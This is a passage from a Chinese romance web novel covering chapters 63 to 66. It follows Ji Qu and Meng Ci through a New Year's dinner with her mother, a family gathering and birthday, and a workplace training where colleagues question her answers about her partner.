在季曲暧昧的眼神中,孟慈突然觉得这个吻并不是落在手心,而是呼应着身上每一处被季曲吻过的地方,那些粉红痕迹,突然开始一齐发烫。 别墅不算太大,再加上钱杰家的人员也多,一顿年夜饭吃的有些拥挤。 季曲几乎只有半个身子靠着饭桌,另外半个围着孟慈。 钱杰的二儿子见状带着孩子们去了不远处的茶几上。饭桌上这才宽松起来。 年夜饭吃了一半,大家逐渐熟络,钱杰的大儿子提着酒打圈,转到孟慈这儿时,自然而 然地把季曲算作孟慈的另一半。 “季总,说起来我年前还和您有过一面之缘。” “是吗?”季曲把挑好刺的鱼肉放到孟慈碗里,这才拿起面前的茶杯。 钱杰的大儿子解释道,年前自己的单位组织了一次答谢会,季曲作为嘉宾受邀参加,但是没说上话罢了。 季曲笑笑:“不好意思,当时人太多。” 钱杰的大儿子连忙摆手:“您又不认识我,这是正常的事。” 因为晚上还要开车回家,季曲以茶代酒。 倒是孟慈陪着裴沛喝了点热红酒,没一会儿就被酒精熏红了脸。 钱杰见状也笑着让孟慈别喝了,不然小心难受。 孟慈看了眼裴沛,她也有些醉了,母女俩同时换下酒杯。 “裴姨还让我给孟慈介绍对象,这不是为难我,哪里还能找到比季总好的?”钱杰的大儿子有些喝高了,再加上季曲今天展现出的大多是和蔼亲切,便说话失了些分寸。 孟慈半靠着季曲,即使被酒精麻痹到反应慢了半拍,听到这儿也立马支起头看了眼季曲的反应。 季曲只是笑笑,说自己也没那么好,是孟慈太优秀。 钱杰看大家吃的差不多了,便招呼人们都去看晚会,也好换个地方醒醒酒。 饭后孟慈陪着裴沛去选水果,季荣涛刚好来电,季曲看了眼尚算清醒的孟慈,走出房子接了电话。 季荣涛那边还是白天,问季曲在哪吃年夜饭。 季曲站在屋檐下,踩了踩尚未冻实的雪,“我未来丈母娘这儿。” 季荣涛那边静了几秒:“哦,还怕你自己孤零零的,看来我和你妈多想了不是?” 季曲看着不远处已经升起的烟花,说:“放心吧,你们玩的怎么样?” “挺好的,我们打算再玩一段时间,反正今年也用不着拜年,等到暖和了再回去。”季荣涛听起来兴致不错。 “好好逛逛,家里有我呢。”季曲顿了顿,“你们两照顾好自己,出门在外多注意。” “知道了知道了,你放心吧。”季荣涛说完,突然来了个生硬的转折,“哎,对了。” 季曲问:“怎么了?” 季荣涛像是在电话那边被人用刀架住脖子:“我和你妈前两天出海的时候去了一座小岛,特别漂亮,你妈听说不少人在那儿办婚礼,那预定都到后年了……” 季曲有些乐,但是面上依旧平淡,“哦,然后呢?” “然后…然后你妈就想说要不然咱们先定上?反正定金又不多……” “先不用。”季曲打断季荣涛,“不知道孟慈喜欢什么样的,再说了,人还没答应我呢,万一她不想结婚,我们就这么过着了。” “啊?没答应啊?哦?什么…”季荣涛的调子拉的很长,俨然是在接受教导。 季曲打算救自己老爸一次:“行了,先不和你说了,大家等我看晚会呢。” “哦,行,那就之后再聊。”季荣涛只能答应。 “哎不是你怎么嘴那么笨?”华婉的声音顺着听筒传过来,只不过季曲已经结束通话。 在挂断的通话页面上,季曲短暂的看到自己的脸,他在笑。 还没来得及感慨,就被身后传来的脚步打断。 “阿姨怎么出来了?”季曲回头看到裴沛,把身上的毛绒开衫脱下来披到了她的身上。 裴沛也没拒绝,她拢了拢衣襟,眼尾有酒色。 孟慈的眼睛有些像裴沛,平时是黑白分明的水墨,一旦被情绪或其他染色,就会变成浓烈的油彩。 酝酿了几秒,裴沛才说:“听说你想和孟慈结婚?” 季曲越过裴沛的肩膀,看到正坐在餐椅上盯着自己看的孟慈。 她依旧有些醉意,甚至更重了些,头歪歪地垂着,像是要砸下去。 跟着季曲,裴沛也回头看了一眼,孟慈笑了,冲着裴沛和季曲,甜甜地笑了一下。 “嗯。”季曲看着孟慈心里满足又踏实,忽略了打在皮肤上的寒风,“我爱她。” 裴沛看着女儿,又看向季曲,“但是她好像不愿意。” “没事的,这不重要。”季曲收回目光,诚恳道,“我随她开心就好。” “我刚回来的那晚,她心事重重的,因为我没和你吃饭。”裴沛拢了拢耳边的碎发,“她怕我不喜欢你,担心的要死。” 季曲静静地听着。 裴沛看着高大俊朗的男人,笑道:“我女儿就是被你这幅长相迷了眼。” 季曲赔了个笑:“幸亏我爸妈生给我这张脸。” “但是你们差距太大了。”裴沛笑完才继续说,语气里有不加掩饰的担忧,“那晚她不说我也知道,她一定在你这儿吃了些苦头,或者是在你的父母那儿,不过这是你们的事,我不太清楚,我也不能因为我的孩子受了委屈,就用类似的态度方式对你。” 说到这儿,裴沛又看了眼孟慈。 可能是察觉到外面的严肃,孟慈不笑了,眉头也蹙起来,变成一个小山包。 “她爱你,爱到怕我不喜欢你,怕你难受。”裴沛的目光停留在孟慈脸上,冲她递了个安心的笑。 “结不结婚,怎么过日子都是你们的事,我老了,管不动了,而且孟慈用不着我管也能活得很好,她挣了很多钱,给我买了房子,买了车,买了一堆钻石宝石,我知道,这有你的帮忙,但是我依然觉得我女儿也努了不少力,不然她也就只能当一只被人逗玩的鸟儿罢了。” 季曲的眼眶有些酸,心脏麻麻的,比刚刚晚饭时误食的那颗花椒还要麻几分。 裴沛本来是想替自己的女儿出口气,也让季曲难受几天,但是看到孟慈始终追随的眼神,心下又生出几分不忍。 脱下季曲的外套还给他:“你们俩好好的,如果以后哪天受不了了,就把她还到我身边,别再让她自己跑到那么远的地方。” 季曲拿着外套,手指深陷其中。 他只能说好,说您放心,我一定用心养好她、千万倍爱护她,没有我受不了,只有她想离开,那样我也一定给她开绿灯,送她去您身边,去她想去的任何地方。 得到笃定的答案,裴沛轻松不少。 她冲屋子里的孟慈招招手,冲季曲说:“行了,你们早点回家,别在这儿混了,人多又乱。” 孟慈早就坐不住了,但是裴沛离开前告诉她在这儿等着不能乱跑,她就只能乖乖地坐着,看着裴沛一会笑一会不笑,看着季曲的头越来越低,自己越来越急。 终于等到裴沛招手,孟慈连忙从凳子上站起来踩着虚浮的脚步走过去。 还没等走到一半,就被季曲接住,他身上有些凉,手上更甚。 孟慈皱着眉:“怎么这么凉?是不我妈妈骂你了?” 裴沛伸手就掐了孟慈一把,佯装恼怒道:“小白眼狼,怎么上来就怪我。” 可能是醉得厉害,孟慈的眼眶比额头红的要快,瘪着嘴就撞进了季曲怀里,闷闷地哼唧。 季曲拍拍孟慈的后背,连忙解释道:“阿姨找我说了会儿话,我是在外面冻的。” “那她怎么不在屋里找你说?就是故意冻你。”孟慈在季曲的怀里抬起头,眼尾通红。 “哎你还没完了是吧?”裴沛在一旁提高音调,孟慈吓得连忙又迈进季曲怀里。 裴沛没看眼,冲两人摆了摆手,“走吧走吧。” 季曲抱着一个劲往自己怀里拱的孟慈,“我明早带她来给您拜年。” “睡醒再说,我今天喝了酒,明早也起不来。”裴沛揉了揉太阳穴,在外面站了一会儿,被风一吹,竟然也有些醉了。 季曲点头说好,用外套把孟慈一裹,便出门离开了。 裴沛看着季曲把孟慈安顿到副驾驶,好像孟慈还揪着人说了些什么,逼得季曲无奈笑笑,又拉扯了一会儿才绕到驾驶位上车离开。 这么一拖,雪粒子又纷纷扬扬地落下来。 “回家吧。”钱杰不知道什 么时候走了过来,手里还端着蜂蜜水。 裴沛看了他一眼,接过杯子喝了一口,“明天准备两个红包吧。” 钱杰先是一愣,随即笑得眼尾支棱出皱纹:“不是不给小慈的男朋友?” 裴沛哼了一声:“不给又得和我闹,你刚刚没看见啊?生怕我对季曲不好。” 钱杰没有女儿,不懂嫁姑娘的心态,只能握着裴沛的肩膀说:“孩子们平安健康,幸福快乐就好。” “我当然知道。”裴沛哼了一声,却不知道什么时候湿了眼,“我的女儿,我当然想让她好。” 没有人比一位母亲更想让她的女儿好。 第64章 第64章“明天晚上还回家吗?”…… 大年初一上午,孟慈带着季曲回裴沛那拜年。 不过季曲还在孝期,裴沛便把红包提前塞给季曲,孟慈看到这幕笑笑没说话,等到煮饺子的时候才悄悄的和裴沛说了句谢谢。 饺子里包着硬币花生等物,孟慈有些宿醉,吃不下什么东西,挑了两个饺子夹开看看,没中奖,便都塞到季曲碗里。 季曲没嫌弃,夹起来通通吃了。 裴沛在一旁不动声色的打量着,心下多少妥帖了点。 两个人吃完饭又呆了一会儿便离开了。 裴沛知道孟慈在这儿也不舒服,还不如回家带着。 回家补了个觉,孟慈再醒来时已经临近傍晚。 听到卧室里的声音,季曲从外面进来坐在床边,把还没清醒的孟慈从床上捞起来。 “我不想睡了。”孟慈软趴趴地窝在季曲怀里,说话还有些含含糊糊。 季曲捏了捏孟慈的脸:“那就起床?” 孟慈半闭着眼:“但是我好像醒不来。” 握着孟慈的后脖颈,季曲没犹豫地在孟慈的脸颊上咬了一口,留下浅浅的齿印。 季曲的力度把的刚好,孟慈瞬间疼精神了。 “你有病啊季曲?” “你不是醒不来?我这是帮你。” 孟慈不行,非闹着在季曲的脸上咬了一个更清晰的才满意。 季曲照着镜子,看了眼从脸颊到脖子上的牙印,无奈地反手在孟慈大腿上抽了一下。 正在刷牙的孟慈一愣:“干嘛打我?” 季曲指着自己的脸:“我一会儿怎么见人?” “那你不也咬我了吗?”孟慈指了指自己的脸。 季曲用下巴指了指镜子:“咬你哪儿了?” 孟慈扭头看着镜子找自己脸上的牙印,刚刚还有,怎么现在消的只剩一片红色。 孟慈瞬间哑了,季曲用力地揉了揉孟慈的头,“没事,反正都是小辈,他们不敢说我什么,但是背后怎么说你,我就不清楚了。” “不敢说你不就等于不敢说我?”孟慈从季曲的魔爪中逃出来。 季曲冷笑一声,先一步到衣帽间换衣服去了。 原本每年初一季家都有家族聚会,但是今年季亮鸿带着华婉出去玩了,大家又在孝期不拜年,所以只有小辈们简单聚聚吃个饭。 地点还在季亮鸿的院子里,他喜欢看小辈们热热闹闹的。 季曲带着孟慈到的时候,饭桌上差不多已经坐满了。 首位和首位的左位空着,自然是给季曲和孟慈留的。 两人落坐后,季芷安顿后厨启菜。 桌上的人孟慈除了季芷都没见过,干脆闭上嘴等季曲介绍。 偏偏季曲今晚像个局外人一样,坐在主位却又什么都不说。 不是拿热毛巾给孟慈擦手就是给孟慈整理餐具,没有任何要介绍的意思。 孟慈在桌下踢了季曲的小腿一下,用眼神示意。 季曲这才有反应,他给孟慈倒了杯热茶,才慢悠悠地开口。 “桌上的都是我的弟弟妹妹们,还有些在外地赶不回来,你用不着都记住,反正他们以后都会记得你。” 桌上人们的视线在季曲开口时便齐刷刷地望了过来,孟慈环视一圈,各个生的好颜色。 季曲的声音稍微提高了点,冲着大家说:“孟慈,你们估计都听说过,现在还是我女朋友,但是你们就当嫂子对待就行。” 孟慈在桌下的手又拧了季曲一把,在大腿上,季曲丝毫没反应,反倒握住了孟慈的手。 “怎么这么凶?今天可是大年初一。”季曲抱怨道,“我脸上的印子还没消呢。” 话音一落,桌上便传来压抑的笑声。 孟慈瞬间红了耳朵,季曲见状才掀起眼皮往弟弟妹妹那边扫了一眼,笑声顿时消失了。 “嫂子别和我们见外,表哥平常都对我们很好,我们也就乐意跟着表哥后面混,以后有机会咱们多吃吃饭就熟悉了。”季芷见孟慈有些不适应,便接过话茬,把桌上的人们都大致介绍了一遍。 孟慈挨个看过去,点头微笑,有性子活泼的,直接拿起酒杯叫了句嫂子,整的孟慈有些不好意思。 “她喝不了,你们自己玩。”季曲给孟慈夹了些菜,“你先喝点汤垫垫,白天什么都没吃。” 孟慈点头,喝了半蛊甜汤。 菜吃了一半,季曲被围起来劝酒,孟慈坐在原位,和季芷闲聊。 “嫂子,我哥去你家过的年?”季芷指着手机,上面是季曲发的朋友圈,一张简单配图,孟慈的背景和满空烟火。 孟慈也是今早睡醒后才看到的,不知道季曲什么时候拍的,还在零点过后偷偷发了出去。 “嗯。”孟慈看了眼99+的点赞量,“我妈正好今年回来。” “见家长了?”季芷感兴趣道。 孟慈想想:“不算吧,只是吃了顿饭。” 季芷长长的“哦”了一声:“没看上我哥啊?” “你哥还能有人看不上?”孟慈舀了勺蛋羹,嫩到一碰就碎。 季芷笑了:“要不然怎么还没把你娶回家?我们都在打赌,你什么时候才答应嫁给我哥。” “你赌多久?”孟慈往椅背上一靠,看向季芷。 “怎么?要帮我?”季芷眨眨眼。 孟慈看着已经喝了不少的季曲,说:“那倒不是。” 季芷啧了一声,说孟慈没义气,毕竟认识这么久,怎么也不给自己透个底。 孟慈笑笑,没接茬。 大家玩到快十一点,嚷嚷着转场。 季曲喝得醉眼惺忪,大手一挥说随便去哪玩,都记自己的帐上。 趁着年轻人欢呼的时候,季曲拉着孟慈悄悄地溜了。 两人一鼓气跑到车里。 孟慈看着不忘给自己拿包的季曲说:“合着你是装的啊?” 季曲拿了瓶矿泉水,一口气喝了半瓶,“那群小兔崽子喝高兴了不要命,我可陪不动。” 说是装的,但是季曲在回家的路上还是靠着椅背浅浅的睡了过去。 一直到孟慈停下车,季曲都没醒。 解开自己的安全带,孟慈侧过身看着季曲,他的喉结时不时地上下翻动。 孟慈想起来刚刚在桌上季曲是掺着喝的,再加上从家里出来又跑了一段见了风,现在应该是开始恶心了。 安全带刚好勒在季曲的脖子上,皮肤被磨出红。 孟慈伸手轻轻地把安全带解了,脱离安全带的束缚,季曲紧皱的眉头才松开点。 听着季曲沉重又失衡的呼吸,孟慈又解了季曲衣襟上段的纽扣。 在解到第二颗时,季曲醒了。 孟慈看到季曲睁眼,问:“醒啦?” 季曲揉了下太阳穴:“到家了?” “嗯,走吗?” “走吧。”季曲缓了缓,才开门下车。 回到家,孟慈让季曲先去洗澡,自己要煮点醒酒汤。 季曲听话离开。 等到孟慈端着解酒汤回到卧室,才看到季曲坐在衣帽间的椅子里睡着了,根本没洗澡。 把托盘放到一旁,孟慈走到季曲身边蹲下,拍了拍季曲的胳膊。 “嗯?”季曲迷迷糊糊地睁开眼。 “难受吗?”孟慈伸手摸了摸季曲的脸,语气里露些心疼。 季曲握着孟慈的手,贴在自己的脸颊,“还好。” “怎么真的喝这么多?” “没办法。”季曲的双眼泛红,他笑着说,“小孩们说了一堆吉祥话,什么长长久久、百年好合……我拒绝不了。” 季曲看着孟慈,笑得开怀,即使他摇摇晃晃的,仿佛下一秒就要从椅子上掉下来。 孟慈看着这样的季曲,心理防线有些崩,马上就要坚守不住,这时,手机刚好响了。 掏出来看了一眼,孟慈按灭屏幕,把手机扔到一边。 “怎么了?”季曲喝得有些眼花,没看清。 孟慈换了个姿势,靠在季曲的膝盖上,抬头望着他,“生日快乐。” 季曲有些怔:“生日……” 孟慈又说了一遍:“季曲,生日快乐。” 季曲这才反应过来,大约是已经过了十二点。 孟慈抬头在季曲的脸颊上亲亲,在自己咬的那个牙印上,一路亲下来,最后一个吻落在季曲的嘴唇。 趁着季还在发愣,孟慈变戏法般的掏出一只手串,和华婉给的那条有些像。 “我去求的,希望你健健康康,平平安安。” 孟慈把手串戴到季曲的手腕上。 “我想了很久,你好像什么都不缺,也没什么特别需要的,比起你送给我的礼物,我很难用世俗意义上的同等价值物回赠……但是我想…”孟慈双手握着季曲,笑盈盈地望着他,“健康平安最重要,我希望你健康平安。” 心脏像是被裹着蜜糖的箭击中。 时光再回流,他又想到他亲手给孟慈系的那根红绸,想到自己车祸昏迷时的最后一个画面。 当时的晨光和现在的灯光重叠,季曲看着孟慈,眼底忽地有些酸,不自然地眨眨。 季曲听到自己声音嘶哑地问:“慈慈,爱情和财富,你都得到了吗?” 孟慈看着季曲的眼眶逐渐湿润,看到自己的倒影在他的瞳孔中碎成几块。 她拉着季曲的手,在自己的脸边蹭了蹭,像只讨人宠爱的猫。 “我都得到了,谢谢你,季曲。” “爱情和财富我全部拥有。” “但是我害你受了好多的伤,你流了好多的血。”季曲哽咽道,他不可避免地想到在雨幕中血迹斑斑的孟慈,像是一碰就碎的瓷娃娃。 孟慈带着季曲的手摸到自己的手腕:“已经好了,都不疼了。” 她又带着季曲找到自己的心脏:“这里也不疼了,谢谢你,把它照顾的这么好,也把我照顾的这么好。” 经过酒精麻痹的心脏跳的忽快忽慢,但是在此刻,季曲突然听到自己的心跳声,一声比一声大,一声比一声响,听到血液往四肢送,在血管里奔涌。 衣帽间的灯很亮,亮到能照清空中漂浮的尘埃。 但是他的眼睛只能看到孟慈。 除她之外,都是模糊的。 孟慈主动吻上季曲,几秒钟后得到猛烈的回应。 两颗心脏在某个时刻实现同频,在两具身体里,默契地相呼- 过完年裴沛没着急走,又在北城陪孟慈呆了一段时间,一直到阳春三月,才又准备出发。 这次来机场送人的变成了季曲,裴沛和孟慈坐在一边,看着季曲忙碌。 裴沛这段时间愣是把季曲看顺眼了:“哎,下次不能再换一个人送我了吧?” 孟慈握着季曲刚刚买的冰激凌,被冰到呲牙,“什么啊?妈你盼我点儿好吧。” “我盼有用?”裴沛抽出纸巾给孟慈垫着纸杯。 孟慈接过:“总比不盼强。” 送走裴沛,季曲和孟慈返回市区,中途还接到了公司的电话,孟慈接起来说了几句,没多久便挂断。 “怎么了?”季曲问。 “说是有个培训,下周开始。”孟慈打开手机看了眼培训方案,惊喜道:“在我的大学培训哎!” 季曲扫了一眼:“培训多久?” “三天。”孟慈回答道。 “离我公司不远,到时候我接送你。” 孟慈点点头:“我可以请你吃食堂,烫菜和烧饼都特别好吃。” 后来一路上孟慈都在提自己的大学生活,其中不可避免的会出现丁昊的身影,虽然对于两人来说这已经是过去式,但是提到也不免膈应。 不知道孟慈怎么想,反正对于季曲来说十分膈应。 可能是看出来季曲越来越淡的神色,还有些冷,孟慈才停止回忆往昔。 “我们晚上吃什么去?你想不想吃鹅肝?还是三文鱼?”孟慈拿出手机找了几家餐厅推荐给季曲。 “都可以。”季曲目不斜视,一个眼神都没分给孟慈。 孟慈想了想:“还是我们回家?我和我妈学了炸酱面,试试吗?” 季曲这次干脆没张嘴,只是敷衍地点了点头。 趁着红灯,孟慈牵住季曲右手的小指晃了晃,“你怎么不给我点意见啊?我选择困难症。” 季曲用余光看到孟慈的动作,觉得也差不多了,再这么下去孟慈就该翻脸了。 季曲久久不动,200秒的红灯都快数完了。 在孟慈耐心耗尽的前一秒,季曲才不紧不慢地下了台阶,“回家吃炸酱面吧。” 反握住孟慈的手,来回捏了捏,直到绿灯季曲才放开。 孟慈转正身子,换了首自己喜欢的歌。 夕阳落进车窗,孟慈靠在椅背上侧脸看季曲,他的轮廓变得柔和。 “怎么了?”察觉到孟慈的目光,季曲问了一句。 孟慈过了几秒才说:“没什么,看你好看。” “我?”季曲挑了下嘴角,“我都三十了。” “男人三十一枝花。”孟慈认真道。 季曲笑笑:“那你明天晚上能不去看那什么男团的演唱会了吗?” 孟慈语滞,目光缓缓转向窗外。 “哎,我就知道。”季曲装作难受地感叹道,“我比你大这么多岁,留不住你正常。” 孟慈没忍住道:“我就是去看个演唱会,又不是要跑了,再说了安娜和季芷都去。” “哦。”季曲撇撇嘴。 孟慈还想说什么,一转头看到季曲这幅不情不愿又不敢多说的模样,又自动闭了嘴。 过了一会儿,季曲又轻飘飘地冒出一句:“那你明天晚上还回家吗?” 孟慈:“……” 合着自己这是养了朵霸王花。 第65章 第65章写错的答案 虽然说好要接送孟慈,但是季曲却被临时来的工作绊住脚,不得不到邻市出差。 走之前季曲再三保证会尽快回来,孟慈说没事,工作重要,一个培训而已,离家也不远。 季曲便认真地说自己已经答应了接送,总不能一次都不出现。 孟慈便再没说什么,人活到一定年纪就知道,身不由己的事太多太多。 培训前两天的课都很满,专业性很强,中间一度孟慈有了大学时读书的错觉。 中午在食堂简单对付一口就要急匆匆地往下午的教室赶。 一直到第三天,课程才变得轻松。 上午的课程是心理疏导,毕竟现代人都压力过大,在工作岗位上猝死的案例不在少数。 下午的课程则有趣很多,互动性也强。 老师让大家做一个问卷调查,偏重于个人的生活,性格、家庭、伴侣等等。 每个人拿到的问卷有五页。 孟慈本身就喜欢纠结,在选择项迟迟无法划勾,尤其是到了伴侣的部分,更是做到叹气不止。 总经理Asher坐在孟慈旁边,一早便交卷,现下正在一边品咖啡一边看窗外路来路往的学生们。 “我就很喜欢学校,总是让人感觉轻松自在。”Asher感叹道。 孟慈咬着笔杆,朝窗外瞥了一眼,“那是因为你毕业了,读书的时候我差点被作业压死。” Asher扭回头,手撑着下巴,说:“你不是学习很好?” “一般而已。”孟慈摇摇头,回忆起自己读书时每逢期末考就要熬大夜的时光,“我只是努力。” Asher随手拿起桌上的一支笔把玩:“不不,努力多是成功者的谦词,如果你没有能力,努力也是没用的。” “ 这点我和你看法不同。”孟慈终于选出一个还算满意的选项,认真地打了勾,“努力是有用的,天道酬勤,在学习上、工作上都有意义。” “所以你获得了这么多?”Asher笑笑,没反驳,“在国内开了公司,又在国外读了研,现在还找到了比较满意的工作?” “比较?”孟慈笑着看向Asher。 “刚刚看到你给工作满意度打了六分,满分十分,应该算比较满意?”Asher指了指孟慈的试卷。 孟慈翻到前页扫了一下题目:“差不多,但是我的公司和研究生offer应该属于运气好的那部分,属于偶然。” “怎么说?”Asher问。 孟慈翻回问卷的最后一页,继续读题,毫不避讳地说因为她碰到了季曲,得到了很多帮助。 而且读研这件事对孟慈来说是个偶然,如果不是前事累积,她也不一定去读研,更遑论就职于现在的公司。 老师在讲台上点了点试卷个数,催剩下的三位同学可以做的再快些。 Asher举手替孟慈回答马上。 孟慈心下有些急,一目十行地读题。 “Ta想要什么?” “Ta的情绪有哪些是真实?” “用三个词形容Ta在感情中好的一面?” “用三个词形容Ta在感情中坏的一面?” “……” 由于时间压迫,孟慈飞快地在纸上写下答案,总算是没当倒数第一。 Asher坐在一边,扫到了几个答案,还没看完全孟慈就要交卷,Asher连忙拉住孟慈。 “你填错了!” “什么?”孟慈站在原地。 Asher一把扯过孟慈的试卷,翻到最后一页,用手指指着有些潦草的字迹,“你刚刚是不是没好好读题,人家问的是你的另一半,不是你。” 孟慈跟着看过去,在答案处过了一遍,道:“没错啊。” “哎呀!”Asher把孟慈拉回座位,指着试卷,一字一句地读出来。 “Ta想要什么?稳定的情感关系,可靠的承诺。” “Ta的情绪有哪些是真实?冷静(理性占上风)的时候大多是真实的。” “希望Ta改掉的毛病?无效沟通。” “哪里有问题?”孟慈看了一遍,仍旧觉得没有不合适的地方。 季曲最想要的,比起婚姻,更需要的是稳定、牢固的感情关系。 他希望一切都在自己的计划内,希望孟慈不会再偷偷跑掉,成为他人生中的某一段变数。 至于误会,季曲已经发现了华婉找自己聊过两次的事情,虽然不清楚季曲对于聊天的内容有多少了解。 但是孟慈也没必要再解释什么,毕竟两个人现在和好如初。 再说到情绪真实,季曲只要冷静下来,他的情绪就是真实的,没有任何伪装。 比如在安家第一次重逢时,比如在马路上和自己发生擦碰时,比如在安娜的结婚典礼上和自己简单对话时。 Asher皱眉不解道:“据我所知是你母亲一直在催婚吧?而且季总好像早就准备好钻戒?” “没错。”孟慈点点头,“我妈确实想让我有一个自己的家庭,我之前也是这么想的,至于钻戒,确实是早就买回来的。” “所以啊,是你想要稳定的感情关系吧?”Asher试图说服孟慈。 “季总既然早就准备好钻戒,就证明他自然是想好了之后的一切,他们这种人是不会因为法律关系而苦恼犹豫的,反而是我们这种没有底牌的人,才会在渴望一段感情关系的同时又害怕。” 老师听到这边的对话,饶有兴趣地走过来旁听。 Asher看到老师,顺嘴一问:“老师你说我说的对吗?” 老师思考后开口:“我没听到全部,但是就你说的最后那句,人确实会在渴望一段感情关系的同时又陷入未知的恐惧,就比如你们读大学之前,兴奋和恐惧往往并存,甚至有的时候,恐惧会压过兴奋。” 孟慈被说的有些懵,她的目光老师和Asher两人间转了转,伸伸下巴,示意Asher继续。 Asher得到支持,继续说:“这儿,希望Ta改掉的毛病?无效沟通。” “季总是一个喜恶明确的人,和他合作过的人都知道,季总最怕沟通时出现问题,他喜欢简单高效的工作方式。” “你又没和他谈过恋爱。” 孟慈不反驳季曲的工作方式。 但是在感情生活中,季曲确实总是“有话不说”,有时候还会等着孟慈自己去猜,偏偏孟慈又多思,这才造成两人交往中的一系列问题。 Asher丝毫没被劝退:“我确实没和季总谈过恋爱,但是我和你共事过呀,上次咱们给客户递方案,明明全组都投票通过了第一种,但是你觉得第二种更合适,所以你就通宵做了第二种方案的ppt,等到第二天客户不满意的时候,才提出了咱们还有候补方案。” “我只是觉得有备无患而已,顺手的事。”孟慈笑笑。 Asher不这么觉得,他说:“顺手指的是第一种方案有某部分的案例欠缺,而你恰好做过这类工作,所以刚好补上,而通宵做了另一种风格的PPT,不是顺手,是加班。” 老师也点头,看着孟慈提问:“你完全可以在会上提出意见,或者找领导反映问题,和团队一起准备,为什么要自己一个人做?” 孟慈解释道:“因为当时大家都觉得第一个方案更符合客户预期,并且预算也合适,我没必要推翻大家的意见,而且就当时的状况来看,我并不觉得我有能力说服大家转投第二个方案,而且就算我成功让大家转投了第二个方案,我也没法确定客户会更满意,毕竟当时我没有未卜先知的能力。” “所以你选择自己通宵做?”老师抱臂思考。 孟慈点头:“对,这样大家也不会被更多的工作压着,至于客户那边,他们满意第一种最好不过,如果他们不满意,我也有补救的方案。” Asher双手一拍:“这不就是,你甚至都不和我们沟通,工作是大家一起的,每个人都需要为客户的满意度努力,而不是留你自己做兜底的冤大头。” 孟慈反驳道:“我并不觉得自己是冤大头,我只是做了自己想做的,换句话说,如果当时客户满意第一版,那么根本就不会有人知道我通宵做了第二版的事情。” “那你通宵工作的意义是?”老师插了一句。 孟慈抬头看向老师:“努力而已,或者未来某一天我能用上这个方案里的某些。” “自我感动的努力。”Asher想到刚刚两人聊天的内容,“也就是说,这些是无用的努力,在工作里是,在感情里更是。” 孟慈觉得自己和Asher的认识有偏差,便等着老师的答案。 老师摸摸下巴,笑了下才说:“我不谈你们的公司,只谈和我的研究领域相关的内容,一个人的工作方式是她的认知与行为的投射,感情生活也是,毕竟一个人不可能在工作和感情上是截然不同的两个性格,除非他是人格分裂患者。” 孟慈点头,Asher也点头。 这句话双方都同意。 老师继续说:“所以在工作上的习惯,也可能出现在感情上,比如你工作时会准备备选方案,那么你在感情中应该也会给自己留好退路,假设你们刚刚说的事情是准备无误的,那么既然你对依靠物质关系维系的同事都持保留态度,那么对于付出了感情时间金钱等等的伴侣则会更加谨慎。” 孟慈听到这儿已经有些迷糊了,中午没休息对于大脑来说有些不适,她也拿起已经被阳光照射温热的咖啡抿了一口。 老师观察着孟慈的举动:“比如说,在某些问题或者矛盾上,因为你已经预想到对方会是什么样的态度并做出什么样的选择,所以你为了维系当下的 稳定且避免争执,你会提前熄火或者预计对方的既有动作来选择自己的行为。” Asher点点头,凑到孟慈耳边小声说:“比如说之前季总的母亲找你,你觉得季总会听他妈妈的话,所以就跑到国外避险去了。” “你怎么知道?”孟慈有些意外地看向Asher。 Asher得意地哼了一声:“天下没有不透风的墙,季总为了你和他妈都快闹分家了,圈子里都传遍了。” Asher声音压的很低,他一边说一边看了老师一眼,却没想到老师也一副了然于胸的样子。 Asher用手捂着嘴小声道:“老师您也听说了?” 老师眨了眨眼:“我老婆在季总的公司上班。” Asher笑道:“这圈子可真小。” 孟慈看着对上暗号的两人,有些无奈地说:“你们听到的又不一定是真的。” “那季总风雨无阻的接送你上下班是真的吧?那颗价值连城的粉钻是真的吧?他过年带着你见了季家的一众亲戚也是真的吧?” “这你也知道?”孟慈这下是真的有些震惊。 Asher得意一笑:“不巧,我有季芷的朋友圈,你们的合照可都传遍了。” 合照确有其事,但是孟慈不知道的是季芷发了朋友圈,毕竟她以为有自己加入的合照应当算不得正式。 Asher继续说:“所以啊,你这张试卷就重新写吧,都是无效的答案。” 老师也点点头:“没事的,你可以加我联络方式,什么时候写好什么时候给我。” 孟慈看着两个人一唱一和的,就把自己的试卷打成无效,连卷都不给判。 无奈又无语,孟慈干脆把卷子随便折了折塞进包里,要不是培训自己才不会花时间做这些东西。 老师回到讲台上,挑了几分幸运答案开始点评。 因为事关个人,大家都听的津津有味,只有孟慈,止不住地开始发呆。 咖啡因拯救不了迟钝运行的大脑,孟慈想着想着就开始发困,最终脑子里只剩下一个问题,自己是不是真的写错了答案。【你现在阅读的是 】 【正文完】 第66章 第66章新的起点 下课铃响起,老师没拖堂准时放学。 有一部分还有问题咨询的同事围着老师继续聊天,孟慈收拾好东西先一步离开。 这栋教学楼是孟慈读大学时频繁来往的地方,把没喝完的咖啡随手扔进垃圾桶,又到一旁的自动贩卖机里买了杯鲜榨橙汁。 大约三五分钟,孟慈的橙汁好了,捏着吸管喝了一口,还是之前的味道,酸得发苦。 孟慈有些醒了。 她一只手拿着包,一只手端着杯慢悠悠地往外走。 教学楼门口是一条长长的白桦树道,绿叶已经冒了不少出来,半遮着夕阳在柏油马路上投下阴影,像是一副色彩浓郁的油画。 正值下课点,门口堆了不少学生,男男女女,朋友爱人。 孟慈刚一出门,就看到了第一棵白桦树下站着的季曲。 他换了身款式基础的卫衣牛仔裤,头发也柔顺的放下来。 远远看着像是刚刚下课的学生,手里还拿着一束花,小小的,不算太大,但色彩缤纷。 季曲见到孟慈便主动迎上来,接过孟慈手里的包,把花递给她。 “你什么时候回来的?”孟慈抱着花,轻轻嗅了一下。 季曲伸手拢了拢孟慈耳边掉落的碎发:“两点多下的飞机,本来想直接来学校,但是我穿的太正式,所以回家换了一身衣服。” 孟慈上下打量着季曲:“你的衣柜里还有这种风格的衣服?” 季曲跟着孟慈的目光扫了扫自己:“没有,所以又去了趟附近商场,连跑带赶,怕接不上你。” “那怎么还有时间买花?”孟慈笑笑,用纸巾擦了擦季曲额角的汗。 季曲指了指不远处:“刚来的时候看到有学生在卖,就挑了束最新鲜的。” 孟慈顺着季曲手指的方向看过去,好几个摊子并排摆着,这是学校惯有的活动,大家可以卖一些什么小玩意增进交流或者填满钱包。 季曲掂了掂孟慈的包:“怎么这么沉?” “放了台笔记本电脑。”孟慈说。 “学的怎么样?看你好像很累。”季曲看着孟慈的眉眼间有些疲惫。 孟慈喝了一口酸橙汁,又递给季曲尝了一口,看到对方露出和自己同样的神色后才笑笑,“中午没休息,咖啡也不好喝。” 